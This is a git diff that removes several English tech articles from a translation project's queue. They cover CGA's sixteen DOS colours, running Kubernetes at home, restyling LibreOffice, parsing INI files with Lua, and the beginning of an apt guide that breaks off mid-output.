Blue | | | 010 Green | | | 011 Cyan | | | 100 Red | | | 101 Magenta | | | 110 Yellow | | | 111 White | - -But that's just the simplest case. A particularly clever IBM engineer realized you could double the number of colors from eight to sixteen simply by adding another bit. So instead of a bit pattern like RGB, we can use a bit pattern like iRGB. We'll call this extra "i" bit the "intensity" bit because if we set the "intensity" bit to 1 (on), then we'll light up the red, green, and blue phosphor dots at full brightness; if the "intensity" bit is 0 (off) we can use some mid-level brightness. - -And with that simple fix, now CGA could display sixteen colors! For the sake of simplicity, the IBM engineers referred to the high-intensity colors as the "bright" versions of the regular color names. So "red" pairs with "bright red," and "magenta" pairs with "bright magenta." - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Yellow | | 1110 Bright Yellow | | | 0111 White | | 1111 Bright White | - -Oh no! But wait! This isn't actually sixteen colors. If you notice iRGB=0000 (black) and iRGB=1000 (bright black), they are both the same _black_. There's no color to make "bright," so they are just both regular black. This means we only have fifteen colors, not the sixteen we were hoping for. - -But IBM has clever engineers working for them, and they realized how to fix this to get sixteen colors. Rather than implement a straight RGB to iRGB, IBM actually implemented a _modified_ iRGB scheme. With this change, IBM set four levels of brightness for each phosphor dot: completely off, one-third brightness, two-thirds brightness, and full brightness. If the "intensity" bit was turned off, then each red, green, and blue phosphor dot would light up at two-thirds brightness. If you set the "intensity" bit on, any zeroes in the RGB colors would be lit at one-third brightness, and any ones in the RGB colors would be lit at full brightness. - -Let me describe this to you another way, using web color code representation. If you are familiar with the HTML colorspace, you probably know that you can represent colors using #RGB, where RGB represents a combination of red, green, and blue values, each between the hexadecimal values 0 through F. So using IBM's modified iRGB definition, iRGB=0001 is #00a (blue) and iRGB=1001 is #55f (bright blue) because with high-intensity colors, all zeroes in RGB=001 are lit at one-third brightness (around "5" on the 0 to F scale) and all ones in RGB=001 are lit at two-third brightness (about "A" on the 0 to F scale). - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Yellow | | 1110 Bright Yellow | | | 0111 White | | 1111 Bright White | - -And with those colors, we are finally done! We have a full spectrum of colors from iRGB=0000 (black) to iRGB=1111 (bright white) and every color in between. Like a rainbow of colors, this is beautiful. - -Except, no. Wait. Something's wrong here. We can't actually replicate all of the colors of the rainbow yet. The handy mnemonic we learned in grade school was ROYGBIV, to help us remember that a rainbow has colors from red, orange, yellow, green, blue, indigo, and violet. Our modified iRGB color scheme includes red, yellow, green, and blue—and we can "fake" it for indigo and "violet." But we're missing orange. Oh no! - -![rainbow][7] - -A beautiful rainbow - which unfortunately contains orange  -([Paweł Fijałkowski][8], public domain) - -To fix this, the smart IBM engineers made one final fix for RGB=110. The high-intensity color (iRGB=1110) lit up the red and green phosphor dots at full brightness to make yellow. But at the low-intensity color (iRGB=0110), they lit the red at two-thirds brightness and the green at one-third brightness. This turned iRGB=0110 into an orange color—although it was later dubbed "brown" because IBM had to mess up the standard names somewhere. - -| | | | | | | ------------ | | ------------------- | | | 0000 Black | | 1000 Bright Black | | | 0001 Blue | | 1001 Bright Blue | | | 0010 Green | | 1010 Bright Green | | | 0011 Cyan | | 1011 Bright Cyan | | | 0100 Red | | 1100 Bright Red | | | 0101 Magenta | | 1101 Bright Magenta | | | 0110 Brown | | 1110 Yellow | | | 0111 White | | 1111 Bright White | - -And that's how CGA—and by extension, DOS—got the sixteen colors! And in case you're curious, that's also why there's a "bright black" color, even though it's just a shade of gray. - -### Representing colors (bits and bytes) - -But you may wonder: why can DOS only display eight background colors if it can display sixteen text colors? For that, we need to take a quick diversion into how computers passed color information to the CGA card. - -In brief, the CGA card expected each character's text color and background color to be encoded in a single byte packet. That's eight bits. So where do the eight bits come from? - -We just learned how iRGB (four bits) generates the sixteen colors. Text color uses iRGB, or four bits. The background color is limited to the eight low-intensity colors (RGB, or three bits). Together, that makes only seven bits. Where is the missing eighth bit? - -The final bit was reserved for perhaps the DOS era's most important user interface element—blinking text. While the blinking text might be annoying today, throughout the early 1980s, blinking text was the friendly way to represent critical information such as error messages. - -Adding this "blink" bit to the three background color bits (RGB) and the four text color bits (iRGB) makes eight bits or a byte! Computers like to count in full bytes, making this a convenient way to package color (and blink) information to the computer. - -Thus, the full byte to represent color (and blink) was `Bbbbffff`, where `ffff` is the iRGB bit pattern for the text color (from 0 to 15), `bbb` is the RGB bit pattern for the low-intensity background color (from 0 to 7), and `B` is the "blink" bit. - -The limit of sixteen text colors and eight background colors continues to this day. Certainly, DOS is stuck with this color palette, but even Linux terminal emulators like GNOME Terminal remain constrained to sixteen text colors and eight background colors. Sure, a Linux terminal might let you change the specific colors used, but you're still limited to sixteen text colors and eight background colors. And for that, you can thank DOS and the original IBM PC. You're welcome! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/freedos-sixteen-colors - -作者:[Jim Hall][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jim-hall -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/1980s-computer-yearbook.png?itok=eGOYEKK- (Person typing on a 1980's computer) -[2]: https://opensource.com/sites/default/files/uploads/16colors.png (DOS text comes in 16 colors and 8 background colors) -[3]: https://creativecommons.org/licenses/by-sa/4.0/ -[4]: https://opensource.com/sites/default/files/uploads/rgb.svg_.png (Mix red, green, and blue light to get different colors) -[5]: https://opensource.com/sites/default/files/uploads/crt.svg_.png (Each red, green, and blue triad is a single pixel) -[6]: https://opensource.com/sites/default/files/uploads/lcd.svg_.png (Each red, green, and blue triad is a single pixel) -[7]: https://opensource.com/sites/default/files/uploads/rainbow.jpg (A beautiful rainbow - which unfortunately contains orange ) -[8]: https://www.pexels.com/photo/landscape-photography-of-field-with-wind-mill-with-rainbow-1253748/ diff --git a/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md b/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md deleted file mode 100644 index dd5ec7ed2c..0000000000 --- a/sources/tech/20210618 5 more reasons to run Kubernetes in your Linux homelab.md +++ /dev/null @@ -1,100 +0,0 @@ -[#]: subject: (5 more reasons to run Kubernetes in your Linux homelab) -[#]: via: (https://opensource.com/article/21/6/kubernetes-linux-homelab) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -5 more reasons to run Kubernetes in your Linux homelab -====== -Kubernetes' advantages aren't just what it can do, they're also what -knowing it can do for you. -![Working from home at a laptop][1] - -In [5 reasons to run Kubernetes on your Raspberry Pi homelab][2], I explain why you might want to use Kubernetes at home. Those reasons are relatively arbitrary, and they mostly focus on outcomes. Aside from what Kubernetes can do, there are several other good reasons to look at Kubernetes as an important next step in your personal computing experience. - -### 1\. It's built on the foundation of Linux - -![T-shirt reading "Containers are Linux"][3] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -Kubernetes has a certain reputation. More accurately, it has several reputations. For some people, it's a mysterious technology with an unpronounceable name. To other people, it's a sheepdog helping them herd an over-abundance of containers. For others, it's a kind of operating system for the cloud, a useful interface to effective cloud development. And for most people, probably, it's back-end software they've never even heard of. As you might expect, it's all of these things and more. - -Not everyone interacts with Kubernetes the same way, but if you have an inclination toward systems administration, you'll find that Kubernetes is _just another Linux command_. - -I have a t-shirt that reads "Containers are Linux," which states what is, upon reflection, obvious. Container technology uses cgroups to run images of a minimal Linux operating system containing an application or set of applications. From start to finish, when you choose to run a container, you're choosing to run Linux. While Kubernetes commands run on many platforms, it's managing Linux containers, and when you interact with Kubernetes through a terminal, it's Linux business as usual: command, options, args, syntax. Running `kubeadm` or (on OKD or OpenShift) `oc` commands feels familiar because they work like any other Linux command you're used to running. What starts out seeming foreign feels natural in no time, and any Linux user interested in spending time in the terminal can find plenty of fun things to explore in Kubernetes. - -### 2\. Flexible - -Kubernetes used to be a little rigid. It supported, essentially, one container runtime—so stringently, in fact, that there's a hardcoded shim to this day to get around that legacy. Luckily, today Kubernetes has become flexible enough to allow for admins' many diverse needs. There's [Podman][5] and [CRI-O][6] available as container engines, both of which can integrate with [systemd][7]. (I meant what I said when I told you it was all Linux underneath.) You have choices of filesystems, cluster size and construction, monitoring tools, images, programming languages, and much more. Frankly, some people say there's _too much_ choice, which is usually when I suspect that after a few more years, it'll have just enough choice for me. - -### 3\. Personal development - -Containers are a fruitful business, and they have the habit of multiplying rapidly. That's by design. Containers are meant to scale, and they scale by spawning clones. Stick the containers into groups (call them _pods_), and automate how pod lifecycles are managed. That's all Kubernetes really is, and it's changing how servers can run. - -You might not need an infinitely scaleable collection of containers, and you may not need anything to help you manage the one or two containers you do run. However, if you're looking to profit from your ability to wrangle pods, then Kubernetes is exactly the tool you want. As more and more companies and organizations go global and embrace [digital transformation][8], Kubernetes is becoming a required skill in IT. If that's the path you're on, it's a good investment to learn it now and get familiar with common problems and their solutions. - -### 4\. Make containers make sense - -You may remember several years ago when open source projects started distributing their code as container images. For many, it was puzzling at the time. Not many admins really [understood what a container was][9], or where the boundaries of the imaginary container were, or how to get into the container, or why data couldn't live inside the container. - -Now, the IT world—including developers—is comfortable with the concept of containers. Delivery to containers just makes sense for a modern [CI/CD workflow][10]. For the sysadmin, though, the advantages of containers are twofold: installation is (theoretically) easier than waiting for a distro to update its packages, and containers scale. Yet it's very likely that neither of these benefits really manifests for you until you've used Kubernetes. Once you start managing containers with Kubernetes and related tools, the benefits of continuous delivery and the ability to scale are probably merely ideas you've read about. Integrate containers into how you manage your servers, and you suddenly understand what the excitement is all about. - -![Apache JMeter][11] - -(Seth Kenlon, [CC BY-SA 4.0][4]) - -The most basic of tests makes it pretty clear. Just spin up your favorite web server in a container, create a pod, then hit your server with traffic from [Apache JMeter][12], and watch containers respond. - -### 5\. Cloud-native - -If you do more development than systems administration, Kubernetes provides an excellent platform for what has easily become the biggest target of all: web apps. We all use web apps now, even though most people just think of them as "websites." The web has a hugely significant user base (to say the least), so it makes sense to provide open source applications through the browser. There are some great open source applications that run over a network, and many of those are delivered as containers to provide easy installation and a consistent user experience. - -### Bonus: It's fun - -Remember when you were still new to Linux? For some people, that might have been decades ago, and for others, it's still around the corner. For all of us, though, learning something new can be a fun challenge. If you've reached the point that Linux installs are more a bother than a challenge, you might want to try building a Kubernetes cluster in your broom closet. It will reintroduce you to all kinds of concepts you'd forgotten about. Hacking on plain-text ([YAML][13] specifically) configuration files, configuring network interfaces and networks, routing traffic, poring over the advantages and disadvantages of one backend over another, running `--dry-run` after `--dry-run` tests, tentatively pressing Return to find out whether you got everything right. Honestly, Kubernetes is just fun. - -If you want to build your own infrastructure, there's nothing quite like building your own Kubernetes cluster. A whole new world will open to you. You quickly become a cloud architect, perfecting your open cloud, installing amazing open source web applications in containers, and maybe even offering access to your family and friends. - -You become the solution. It's so very satisfying. - -### Explore Kubernetes - -Kubernetes might seem out of reach at first. It's new, a little scary, and worst yet, it apparently requires a cloud. However, there are a few ways to get started. - -First, install either [Minikube][14] or [Minishift][14]. Both of these allow you to run a local instance of Kubernetes on your personal computer. It's not quite as satisfying as building a cluster and opening it up to your friends, but it's a great, safe way to get familiar with the landscape, commands, and toolkit. - -Once you're ready for the real thing, read Chris Collins' article [Build a Kubernetes cluster with the Raspberry Pi][15]. After that, download our free ebook [Running Kubernetes on your Raspberry Pi homelab][16]. Before you know it, you'll find yourself wearing Kubernetes t-shirts, too. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/kubernetes-linux-homelab - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/wfh_work_home_laptop_work.png?itok=VFwToeMy (Working from home at a laptop) -[2]: https://opensource.com/article/20/8/kubernetes-raspberry-pi -[3]: https://opensource.com/sites/default/files/uploads/containers-are-linux.jpg (T-shirt reading "Containers are Linux") -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: http://podman.io -[6]: http://cri-o.io -[7]: https://opensource.com/article/21/5/systemd -[8]: https://enterprisersproject.com/what-is-digital-transformation -[9]: https://opensource.com/article/18/11/behind-scenes-linux-containers -[10]: https://opensource.com/article/18/8/what-cicd -[11]: https://opensource.com/sites/default/files/uploads/jmeter.png (Apache JMeter) -[12]: https://jmeter.apache.org -[13]: https://www.redhat.com/sysadmin/yaml-beginners -[14]: https://opensource.com/article/18/10/getting-started-minikube -[15]: https://opensource.com/article/20/6/kubernetes-raspberry-pi -[16]: https://opensource.com/downloads/kubernetes-raspberry-pi diff --git a/sources/tech/20210622 How to Make LibreOffice Look Like Microsoft Office.md b/sources/tech/20210622 How to Make LibreOffice Look Like Microsoft Office.md deleted file mode 100644 index 63931dca94..0000000000 --- a/sources/tech/20210622 How to Make LibreOffice Look Like Microsoft Office.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: subject: (How to Make LibreOffice Look Like Microsoft Office) -[#]: via: (https://www.debugpoint.com/2021/06/libreoffice-like-microsoft-office/) -[#]: author: (Arindam https://www.debugpoint.com/author/admin1/) -[#]: collector: (lujun9972) -[#]: translator: (piaoshi) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Make LibreOffice Look Like Microsoft Office -====== -We made an attempt to make the LibreOffice suite look like Microsoft -Office. Is it possible? Let’s find out. -[LibreOffice][1] is a free and open-source office productivity suite that provides you a complete collection of applications. It consists of a Word processor (Writer), a spreadsheet program (Calc), Presentation (Impress), and a drawing program (Draw). It also gives you a stand-alone database system LibreOffice Base while LibreOffice Math is a program that helps students, researchers to write formulas and equations. - -While, the widely used [Microsoft Office][2] is a paid office productivity suite that gives you excellent programs to perform almost all tasks related to study, office, and enterprise usage. - -Both of the programs are different but their objective is the same in terms of functionality. Due to its popularity, Microsoft office is used widely and well known to the users. However, there are many users who prefer the free LibreOffice for their work and activities. Adopting LibreOffice sometimes difficult compared to Microsoft Office – although most of the menu items, tools are the same. - -That said, if you can make LibreOffice look like Microsoft Office, then it is much easier for first-time users to adopt – mostly coming from Microsoft Office background. The look and feel play a big part in users’ minds including their muscle memory and familiarity of colors, menu items. - -Of course, you can not make it exactly like Microsoft Office because of different icons, fonts, etc. However, you can make it look up to a certain amount. - -### Make LibreOffice Look Like Microsoft Office - -_This guide is prepared in LibreOffice 7.2 (dev) version._ - -#### 1\. User Interface changes - -LibreOffice has a “Ribbon” style toolbar called Tabbed Bar. Although it comes with many options of the toolbar (see below). For this guide, I have used the Tabbed bar option. - - * Open LibreOffice and go to `Menu > View > User Interface`. - * Select `Tabbed` from the UI Section. - - - -![tabbed bar option][3] - - * Click on Apply to All. LibreOffice also provides an option to apply the toolbar type-specific to Writer or Calc. If you want a different toolbar type, you can choose that way. But I would recommend using the Apply to All to make it consistent. - - - * Now you should have the Microsoft Office-style Ribbon. Although they are not exactly the same, you get the feel of it. - - - -#### 2\. Microsoft Office Icons for LibreOffice - -The Icons in the toolbar play a big part in your workflow. LibreOffice provides some nice icons for your toolbar. The best ones are the – - - * Karasa Jaga - * Colibre - * Elementary - - - -For this guide, we will use [Office 2013 icon set][4] which is developed by an author. It is available in Devian Art. - - * Go to the below link and download the LibreOffice extension file (*.oxt). For the newer versions of LibreOffice, you need to use extension files to install icon sets. - - - -[download office 2013 icon sets for libreoffice][5] - - * After download, double click the .oxt file to open. Or, press CTRL+ALT+E to open the Extension Manager and select the downloaded .oxt file using the Add button. Close the window once done. - - - -![Import icon sets in Extension Manager][6] - - * Now go to `Tools > Options > View`. From the Icon style choose Office 2013. - - - * Change the icon size via `Icon Size > Notebookbar > Large`. If you feel the icons are small, you can change them. However, I feel to make it more Office-like, the large settings work better. - - - -![Change icons in Options][7] - -And, that’s it. Your LibreOffice installation should look like this. - -[][8] - -SEE ALSO:   LibreOffice 7.2 - New Features and Release Details - -![Making LibreOffice look like Microsoft Office in KDE Plasma][9] - -![Making LibreOffice look like Microsoft Office in Windows 10][10] - -![Making LibreOffice look like Microsoft Office in GNOME][11] - -Remember, if you are using Ubuntu, KDE Plasma, or any Linux distribution, the looks may be different. But in my opinion, it looks closer to Microsoft Office in KDE Plasma than GNOME. LibreOffice doesn’t look good in GTK based systems at the moment. - -In Windows, however, it looks better because it uses system font, color palette. - -These are some settings that you can use, however, you can play around with more customizations, icons, and themes as you wish. If you fancy dark mode in LibreOffice, you may want to read our tutorial – [how to enable dark mode in LibreOffice][12]. - -### Closing Notes - -Microsoft Office is undoubtedly the market leader in the Office productivity space. There is a reason for it, it comes with decades of development, and it’s not a free product. In fact, the latest Office 365 Home usage price is around ~7 USD per month for 3 to 4 devices. Which is a bit pricy if you ask me. - -Whereas LibreOffice is free and community developed headed by The Document Foundation. Hence, the development is slower and features arrive late. It is not trying to be Microsoft Office but gives millions of users, schools, non-profits, colleges, students an opportunity to work and learn using a free office suite. - -Hence, it is beneficial if it can mimic the basic look and feel to make it like Microsoft Office to increase LibreOffice adoption. And I hope this guide serves a little purpose in that direction. - -[_Link: Official Feature comparison between LibreOffice and Microsoft Office._][13] - -* * * - --------------------------------------------------------------------------------- - -via: https://www.debugpoint.com/2021/06/libreoffice-like-microsoft-office/ - -作者:[Arindam][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.debugpoint.com/author/admin1/ -[b]: https://github.com/lujun9972 -[1]: http://libreoffice.com -[2]: http://office.com -[3]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/tabbed-bar-option.jpg -[4]: https://www.deviantart.com/charliecnr/art/Office-2013-theme-for-LibreOffice-512127527 -[5]: https://www.deviantart.com/users/outgoing?https://1drv.ms/u/s!ArgKmgFcmBYHhSQkPfyMZRnXX5LJ -[6]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Import-icon-sets-in-Extension-Manager.jpg -[7]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Change-icons-in-Options-1024x574.jpg -[8]: https://www.debugpoint.com/2021/05/libreoffice-7-2/ -[9]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-KDE-Plasma-1024x441.jpg -[10]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-Windows-10-1024x554.jpg -[11]: https://www.debugpoint.com/blog/wp-content/uploads/2021/06/Making-LibreOffice-look-like-Microsoft-Office-in-GNOME-1024x498.jpg -[12]: https://www.debugpoint.com/2020/01/how-to-enable-dark-mode-libreoffice/ -[13]: https://wiki.documentfoundation.org/Feature_Comparison:_LibreOffice_-_Microsoft_Office diff --git a/sources/tech/20210623 Parsing config files with Lua.md b/sources/tech/20210623 Parsing config files with Lua.md deleted file mode 100644 index 50b47fa003..0000000000 --- a/sources/tech/20210623 Parsing config files with Lua.md +++ /dev/null @@ -1,231 +0,0 @@ -[#]: subject: (Parsing config files with Lua) -[#]: via: (https://opensource.com/article/21/6/parsing-config-files-lua) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Parsing config files with Lua -====== -Configure persistent application settings with the Lua programming -language. -![Woman sitting in front of her computer][1] - -Not all applications need configuration files; many applications benefit from starting fresh each time they are launched. Simple utilities, for instance, rarely require preferences or settings that persist across uses. However, when you write a complex application, it's nice for users to be able to configure how they interact with it and how it interacts with their system. That's what configuration files are for, and this article discusses some of the ways you can implement persistent settings with the Lua programming language. - -### Choose a format - -The important thing about configuration files is that they are consistent and predictable. You do not want to dump information into a file under the auspices of saving user preferences and then spend days writing code to reverse-engineer the random bits of information that have ended up in the file. - -There are several popular [formats for configuration files][2]. Lua has libraries for most of the common configuration formats; in this article, I'll use the INI format. - -### Installing the library - -The central hub for Lua libraries is [Luarocks.org][3]. You can search for libraries on the website, or you can install and use the `luarocks` terminal command. - -On Linux, you can install it from your distribution's software repository. For example: - - -``` -`$ sudo dnf install luarocks` -``` - -On macOS, use [MacPorts][4] or [Homebrew][5]. On Windows, use [Chocolatey][6]. - -Once `luarocks` is installed, you can use the `search` subcommand to search for an appropriate library. If you don't know the name of a library, you can search for a keyword, like `ini` or `xml` or `json`, depending on what's relevant to what you're trying to do. In this case, you can just search for `inifile`, which is the library I use to parse text files in the INI format: - - -``` -$ luarocks search inifile -Search results: -inifile - 1.0-2 (rockspec) - - 1.0-2 (src) - - 1.0-1 (rockspec) - - [...] -``` - -A common trap programmers fall into is installing a library on their system and forgetting to bundle it with their application. This can create problems for users who don't have the library installed. To avoid this, use the `--tree` option to install the library to a local folder within your project directory. If you don't have a project directory, create one first, and then install: - - -``` -$ mkdir demo -$ cd demo -$ luarocks install --tree=local inifile -``` - -The `--tree` option tells `luarocks` to create a new directory, called `local` in this case, and install your library into it. With this simple trick, you can install all the dependency code your project uses directly into the project directory. - -### Code setup - -First, create some INI data in a file called `myconfig.ini`: - - -``` -[example] -name=Tux -species=penguin -enabled=false - -[demo] -name=Beastie -species=demon -enabled=false -``` - -Save the file as `myconfig.ini` into your home directory, _not_ into your project directory. You usually want configuration files to exist outside your application so that even when a user uninstalls your application, the data they generate while using the application remains on their system. Users might remove unnecessary config files manually, but many don't. As a result, if they reinstall an application, it will retain all of their preferences. - -Config file locations are technically unimportant, but each operating system (OS) has a specification or a tradition of where they ought to be placed. On Linux, this is defined by the [Freedesktop specification][7]. It dictates that configuration files are to be saved in a hidden folder named `~/.config`. For clarity during this exercise, just save the file in your home directory so that it's easy to find and use. - -Create a second file named `main.lua` and open it in your favorite text editor. - -First, you must tell Lua where you've placed the additional library you want it to use. The `package.path` variable determines where Lua looks for libraries. You can view Lua's default package path in a terminal: - - -``` -$ Lua -> print(package.path) -./?.lua;/usr/share/lua/5.3/?.lua;/usr/share/lua/5.3/?/init.lua;/usr/lib64/lua/5.3/?.lua;/usr/lib64/lua/5.3/?/init.lua -``` - -In your Lua code, append your local library location to `package.path`: - - -``` -`package.path = package.path .. ';local/share/lua/5.3/?.lua` -``` - -### Parsing INI files with Lua - -With the package location established, the next thing to do is to require the `inifile` library and then handle some OS logistics. Even though this is a simple example application, the code needs to get the user's home directory location from the OS and establish how to communicate filesystem paths back to the OS when necessary: - - -``` -package.path = package.path .. ';local/share/lua/5.3/?.lua -inifile = require('inifile') - -\-- find home directory -home = os.getenv('HOME') - -\-- detect path separator -\-- returns '/' for Linux and Mac -\-- and '\' for Windows -d = package.config:sub(1,1) -``` - -Now you can use `inifile` to parse data from the config file into a Lua table. Once the data has been placed into a table, you can query the table as you would any other Lua table: - - -``` -\-- parse the INI file and -\-- put values into a table called conf -conf = inifile.parse(home .. d .. 'myconfig.ini') - -\-- print the data for review -print(conf['example']['name']) -print(conf['example']['species']) -print(conf['example']['enabled']) -``` - -Run the code in a terminal to see the results: - - -``` -$ lua ./main.lua -Tux -penguin -false -``` - -That looks correct. Try doing the same for the `demo` block. - -### Saving data in the INI format - -Not all parser libraries read and write data (often called _encoding_ and _decoding_), but the `inifile` library does. That means you can use it to make changes to a configuration file. - -To change a value in a configuration file, you set the variable representing the value in the parsed table, and then you write the table back to the configuration file: - - -``` -\-- set enabled to true -conf['example']['enabled'] = true -conf['demo']['enabled'] = true - -\-- save the change -inifile.save(home .. d .. 'myconfig.ini', conf) -``` - -Take a look at the configuration file now: - - -``` -$ cat ~/myconfig.ini -[example] -name=Tux -species=penguin -enabled=true - -[demo] -name=Beastie -species=demon -enabled=true -``` - -### Config files - -The ability to save data about how a user wants to use an application is an important part of programming. Fortunately, it's a common task for programmers, so much of the work has probably already been done. Find a good library for encoding and decoding into an open format, and you can provide a persistent and consistent user experience. - -Here's the entire demo code for reference: - - -``` -package.path = package.path .. ';local/share/lua/5.3/?.lua' -inifile = require('inifile') - -\-- find home directory -home = os.[getenv][8]('HOME') - -\-- detect path separator -\-- returns '/' for Linux and Mac -\-- and '\' for Windows -d = package.config:sub(1,1) - -\-- parse the INI file and -\-- put values into a table called conf -conf = inifile.parse(home .. d .. 'myconfig.ini') - -\-- print the data for review -print(conf['example']['name']) -print(conf['example']['species']) -print(conf['example']['enabled']) - -\-- enable Tux -conf['example']['enabled'] = true - -\-- save the change -inifile.save(home .. d .. 'myconfig.ini', conf) -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/parsing-config-files-lua - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) -[2]: https://opensource.com/article/21/6/config-files-and-their-formats -[3]: https://opensource.com/article/19/11/getting-started-luarocks -[4]: https://opensource.com/article/20/11/macports -[5]: https://opensource.com/article/20/6/homebrew-mac -[6]: https://opensource.com/article/20/3/chocolatey -[7]: https://www.freedesktop.org/wiki/Specifications -[8]: http://www.opengroup.org/onlinepubs/009695399/functions/getenv.html diff --git a/sources/tech/20210624 Linux package management with apt.md b/sources/tech/20210624 Linux package management with apt.md deleted file mode 100644 index 3e826c7dc1..0000000000 --- a/sources/tech/20210624 Linux package management with apt.md +++ /dev/null @@ -1,192 +0,0 @@ -[#]: subject: (Linux package management with apt) -[#]: via: (https://opensource.com/article/21/6/apt-linux) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Linux package management with apt -====== -Learn how to install packages on Debian-based Linux distros with the apt -command, then download our cheat sheet to keep the right command at your -fingertips. -![bash logo on green background][1] - -On Linux, [package managers][2] help you handle updates, uninstalls, troubleshooting, and more for the software on your computer. Seth Kenlon [wrote about `dnf`][3], the command-line package management tool for installing software in RHEL, CentOS, Fedora, Mageia, OpenMandriva, and other Linux distros. - -Debian and Debian-based distros such as MX Linux, Deepin, Ubuntu—and distros based on Ubuntu, such as Linux Mint and Pop!_OS—have `apt`, a "similar but different" tool. In this article, I'll follow Seth's examples—but with `apt`—to show you how to use it. - -Before I start, I want to mention four `apt`-related tools for installing software: - - * [Synaptic][4] is a GTK+ based graphical user interface (GUI) front end for `apt`. - * [Aptitude][5] is an Ncurses-based full-screen command-line front end for `apt`. - * There are `apt-get`, `apt-cache`, and other predecessors of `apt`. - * [Dpkg][6] is the "behind the scenes" package manager `apt` uses to do the heavy lifting. - - - -There are other packaging systems, such as [Flatpak][7] and [Snap][8], that you might run into on Debian and Debian-based systems, but I'm not going to discuss them here. There are also application "stores," such as [GNOME Software][9], that overlap with `apt` and other packaging technologies; again, I'm not going to discuss them here. Finally, there are other Linux distros such as [Arch][10] and [Gentoo][11] that use neither `dnf` nor `apt`, and I'm not going to discuss those here either! - -With all the things I'm not going to discuss here, you may be wondering what tiny subset of software `apt` handles. Well, on my Ubuntu 20.04, `apt` gives me access to 69,371 packages, from the `0ad` real-time strategy game of ancient warfare to the `zzuf` transparent application fuzzer. Not bad at all. - -### Finding software with apt - -The first step in using a package manager such as `apt` is finding a software package of interest. Seth's `dnf` article used the [Cockpit][12] server management application as an example, so I will, too: - - -``` -$ apt search cockpit -Sorting... Done -Full Text Search... Done -389-ds/hirsute,hirsute 1.4.4.11-1 all -  389 Directory Server suite - metapackage - -cockpit/hirsute,hirsute 238-1 all -  Web Console for Linux servers - -... -$ -``` - -The second package above is the one you're after (it's the line beginning with `cockpit/hirsute`). If you decide you want to install it, enter: - - -``` -`$ sudo apt install cockpit` -``` - -`apt` will take care of installing Cockpit and all the bits and pieces, or _dependencies_, needed to make it work. Sometimes that's all that's needed; sometimes it's not. It's possible that having a bit more information could be useful in deciding whether you really want to install this application. - -### Package metadata - -To find out more about a package, use the `apt show` command: - - -``` -$ apt show cockpit -Package: cockpit -Version: 238-1 -Priority: optional -Section: universe/admin -Origin: Ubuntu -Maintainer: Ubuntu Developers <[ubuntu-devel-discuss@lists.ubuntu.com][13]> -Original-Maintainer: Utopia Maintenance Team <[pkg-utopia-maintainers@lists.alioth.debian.org][14]> -Bugs: -Installed-Size: 88.1 kB -Depends: cockpit-bridge (>= 238-1), cockpit-ws (>= 238-1), cockpit-system (>= 238-1) -Recommends: cockpit-storaged (>= 238-1), cockpit-networkmanager (>= 238-1), cockpit-packagekit (>= 238-1) -Suggests: cockpit-doc (>= 238-1), cockpit-pcp (>= 238-1), cockpit-machines (>= 238-1), xdg-utils -Homepage: -Download-Size: 21.3 kB 